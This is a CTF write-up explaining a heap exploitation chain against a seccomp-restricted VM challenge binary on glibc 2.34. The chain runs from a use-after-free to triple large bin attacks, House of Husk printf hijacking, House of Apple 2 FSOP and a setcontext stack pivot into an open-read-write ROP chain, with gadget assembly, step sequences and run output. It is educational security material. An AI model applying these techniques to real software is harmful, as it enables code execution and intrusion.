The Revenge of Womp Womp - EH4X CTF Writeup
Category: Binary Exploitation
Points: 473 (dynamic)
Solves: 38
Flag: EH4X{w0mp_g0t_w0mpp3d_4g41n}
We solved this challenge after the CTF ended since we were participating in two CTFs at the same time and couldn't get to it during the event.
Challenge Overview
We're given a stripped ELF binary (pwn) and a libc (libc.so.6 - glibc 2.34). The binary implements a custom virtual machine that reads opcodes from stdin and processes them in a main loop:
Main loop:
puts("Pls input the opcode")
buf = malloc(0x2000)
memset(buf, 0, 0x2000)
read(0, buf, 0x500)
VM_executor(buf)
free(buf)
[repeat]
VM Opcodes
| Opcode | Function | Description |
|---|---|---|
0x01 | alloc(idx, size) | calloc(1, size), size range 0x410-0x500, idx 0-16 |
0x02 | free(idx) | Frees chunks[idx] without nulling the pointer (UAF!) |
0x03 | show(idx) | Prints chunk data (UAF read) |
0x04 | edit(idx, data) | Writes data to chunk (UAF write) |
0x05 | exit | Returns from VM executor |
0x06 | diag | Calls printf("diag:%#lx\n", val) |
Protections
$ checksec --file=pwn
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
Plus a strict seccomp filter allowing only:
| Syscall | Restrictions |
|---|---|
read (0) | fd must be 0 |
write (1) | fd must be 1 or 2 |
open (2) | unrestricted |
openat (257) | unrestricted |
close (3) | unrestricted |
fstat (5) | unrestricted |
mprotect, mmap, brk | unrestricted |
exit, exit_group | unrestricted |
| Everything else | KILL_PROCESS |
This blocks execve, all signal syscalls (rt_sigprocmask, rt_sigaction), and critically futex - which matters for glibc's internal locking.
Key Constraints
- Full RELRO: Can't overwrite GOT
- glibc 2.34: No
__malloc_hook/__free_hook(removed) - calloc: Skips tcache, zeroes memory
- seccomp blocks signals:
abort()internally callsrt_sigprocmaskwhich triggers SIGSYS, so any malloc corruption that hitsmalloc_printerris fatal _exit()instead ofexit(): No exit handler FSOP trigger
Exploitation Strategy
The exploit chains four advanced heap techniques together:
UAF Leak --> Large Bin Attack (x3) --> House of Husk --> House of Apple 2 (FSOP) --> ORW ROP
Technique Overview
1. Large Bin Attack (Arbitrary Write)
We use the unchecked "smallest chunk" insertion path in glibc 2.34's large bin to write heap chunk addresses to three global pointers.
The large bin maintains a skip-list via fd_nextsize/bk_nextsize pointers. When a smaller chunk B is inserted into a bin that already contains a larger chunk A, the "smallest" bypass path executes four pointer writes without any integrity checks:
Large bin skip-list structure (source: 0x434b.dev)
By corrupting A->bk_nextsize to target - 0x20, the insertion writes B_chunk to *target:
// glibc _int_malloc "smallest" bypass path (no integrity checks!)
victim->bk_nextsize = fwd->bk_nextsize; // B->bk_nextsize = target-0x20
fwd->bk_nextsize = victim; // A->bk_nextsize = B
victim->bk_nextsize->fd_nextsize = victim; // *(target-0x20+0x20) = B → *target = B_chunkWe fire three attacks simultaneously in a single unsorted bin scan:
| Attack | Target | Written Value |
|---|---|---|
| 1 | _IO_list_all | B1_chunk (fake FILE) |
| 2 | __printf_function_table | B2_chunk (non-NULL) |
| 3 | __printf_arginfo_table | B3_chunk (controlled table) |
2. House of Husk (Hijack printf)
When __printf_function_table is non-NULL, vfprintf enters its positional argument path which calls __printf_arginfo_table[specifier] for every format specifier in the string.
vfprintf checks if __printf_function_table is non-NULL (source: Maxwell Dulin)
Then indexes __printf_arginfo_table and calls the function pointer (source: Maxwell Dulin)
The diag opcode calls printf("diag:%#lx\n", val). The format specifier %x has ASCII value 0x78. We set arginfo_table[0x78] = _IO_flush_all, so when the diag opcode fires, printf calls _IO_flush_all for us.
3. House of Apple 2 (FSOP to Code Execution)
_IO_flush_all iterates _IO_list_all (which now points to our fake FILE at B1_chunk) and calls _IO_OVERFLOW(fp, EOF) through the vtable.
Our fake FILE has:
vtable = _IO_wfile_jumps(passesIO_validate_vtablecheck)_mode = 1(triggers wide code path)_wide_datapointing to controlled memory
The chain follows:
_IO_flush_all_lockp
└─→ _IO_OVERFLOW(fp, EOF)
└─→ _IO_wfile_overflow(fp) [via _IO_wfile_jumps vtable]
└─→ _IO_wdoallocbuf(fp) [since _IO_write_base == 0]
└─→ _IO_WDOALLOCATE(fp) [since _IO_buf_base == 0]
└─→ _wide_vtable->__doallocate(fp)
= setcontext+0x2d ← NOT validated!
The critical insight is that _wide_vtable (inside _IO_wide_data) is NOT checked by IO_validate_vtable, unlike the main vtable. This gives us arbitrary function pointer control.
4. setcontext+0x2d (Stack Pivot to ROP)
_IO_wfile_overflow conveniently sets rdx = fp->_wide_data before calling through the wide vtable. The setcontext+0x2d gadget reads register values from rdx:
setcontext+0x2d:
mov rcx, [rdx+0xe0] ; FPU env pointer
fldenv [rcx] ; load FPU environment
ldmxcsr [rdx+0x1c0] ; load SSE control
mov rsp, [rdx+0xa0] ; STACK PIVOT!
mov rbx, [rdx+0x80] ; load callee-saved regs
...
mov rcx, [rdx+0xa8] ; return address
push rcx
mov rdi, [rdx+0x68] ; rdi from ucontext
mov rsi, [rdx+0x70] ; rsi from ucontext
mov rdx, [rdx+0x88] ; rdx (overwrites self)
xor eax, eax
ret ; → ROP chainThis pivots RSP to our ORW ROP chain:
close(0) ; free fd 0
openat(AT_FDCWD, "flag", 0) ; re-opens as fd 0
read(0, buf, 0x80) ; seccomp allows read(fd=0)
write(1, buf, 0x80) ; seccomp allows write(fd=1)
Heap Layout
We allocate 17 chunks in a carefully designed layout. A chunks are LARGER than B chunks in the same large bin to ensure B hits the unchecked "smallest" insertion path:
Barrier chunks (0x420 each) prevent freed chunks from consolidating with each other.
Exploit Walkthrough
Round 1: Allocate + Leak
Allocate all 17 chunks, then free leak1 and leak2 into the unsorted bin. Read their fd pointers via UAF show:
leak2->fd=leak1_chunk(heap leak)leak1->fd= unsorted bin head (libc leak)
Round 2: Batched Large Bin Attacks
All three attacks fire in a single unsorted bin scan to minimize trigger allocations:
Step 1: free(A1), free(A2), free(A3) → all go to unsorted bin
Step 2: alloc(0x410) → sorts A1→bin68, A2→bin67, A3→bin66
Step 3: edit A1, A2, A3 → corrupt bk_nextsize to targets
Step 4: free(B1), free(B2), free(B3) → all go to unsorted bin
Step 5: alloc(0x410) → sorts B1→bin68, B2→bin67, B3→bin66
ALL THREE ATTACKS FIRE!
Round 3: Setup arginfo table
Edit B3 via UAF to set arginfo_table[0x78] = _IO_flush_all (the entry for %x format specifier).
Round 4: Setup fake FILE + Trigger
Edit B1 via UAF to construct the complete attack FILE structure, then fire the diag opcode:
Debugging Adventures
Bug 1: Wrong Large Bin Insertion Path
Initially B was LARGER than A, hitting the checked middle insertion path. The integrity check fwd->bk_nextsize->fd_nextsize != fwd fails because *_IO_list_all (= _IO_2_1_stdout_) != A_chunk.
Fix: Make B SMALLER than A to hit the unchecked "smallest" bypass path.
Bug 2: VM Buffer Forward Consolidation
After Round 2, free(VM_buffer) tries to consolidate forward with A1 (which is in a large bin). unlink(A1) checks nextsize integrity and fails → abort() → rt_sigprocmask → SIGSYS.
Fix: Add a guard chunk (idx 16) between the VM buffer and A1.
Bug 3: LOCK_ADDR Was chunks[12]!
The most subtle bug. We set LOCK_ADDR = 0x4041e0 thinking it was "unused BSS." It was actually chunks[12] in the binary's global array! After allocating and freeing leak1 at index 12, the UAF left a non-zero heap pointer there.
When _IO_flockfile(fp) tried the atomic CAS on our "lock," the value was a heap address (not 0), so the CAS failed, __lll_lock_wait called futex() → blocked by seccomp → SIGSYS.
$ strace ./pwn (trimmed)
...
futex(0x4041e0, FUTEX_WAIT_PRIVATE, 2, NULL)
+++ killed by SIGSYS (core dumped) +++
Fix: Use a location inside a calloc'd barrier chunk on the heap (guaranteed zeros, never written to).
# Old (broken): LOCK_ADDR = 0x4041e0 # Actually chunks[12]!
# New (fixed):
LOCK_ADDR = A1_chunk + 0x0520 + 0x200 # barrier1's user dataFull Exploit Chain Diagram
Flag
$ python3 solve.py remote
[+] Opening connection to chall.ehax.in on port 11111: Done
[*] === ROUND 1: Allocate + Leak ===
[*] Heap leak (leak1_chunk): 0x21d4fcc0
[*] Libc leak (unsorted_bin): 0x72be4bb09cc0
[*] Libc base: 0x72be4b8f0000
...
[*] === ROUND 2: Large bin attacks ===
[*] Round 2 complete — all three large bin attacks done
[*] === ROUND 3: Setup arginfo table ===
[*] Round 3 complete — arginfo_table[0x78] = _IO_flush_all
[*] === ROUND 4: Setup attack FILE + trigger ===
[*] Waiting for flag...
[+] Flag: EH4X{w0mp_g0t_w0mpp3d_4g41n}
References
- Overview of GLIBC Heap Exploitation Techniques - Large bin structure diagrams
- House of Husk - In Depth Explanation (Maxwell Dulin) - Printf table hijacking
- Deep Dive into FSOP (Niftic) - House of Apple 2 FSOP chain
- angry-FSROP (kylebot) - Vtable bypass techniques
- Large Bin Attack - CTF Wiki - Large bin attack mechanics
- how2heap large_bin_attack (shellphish) - Reference PoC for glibc 2.35
- Heap Seccomp ROP (Midas) - setcontext + ORW chain under seccomp
- House of Husk PoC (ptr-yudai) - Original House of Husk proof of concept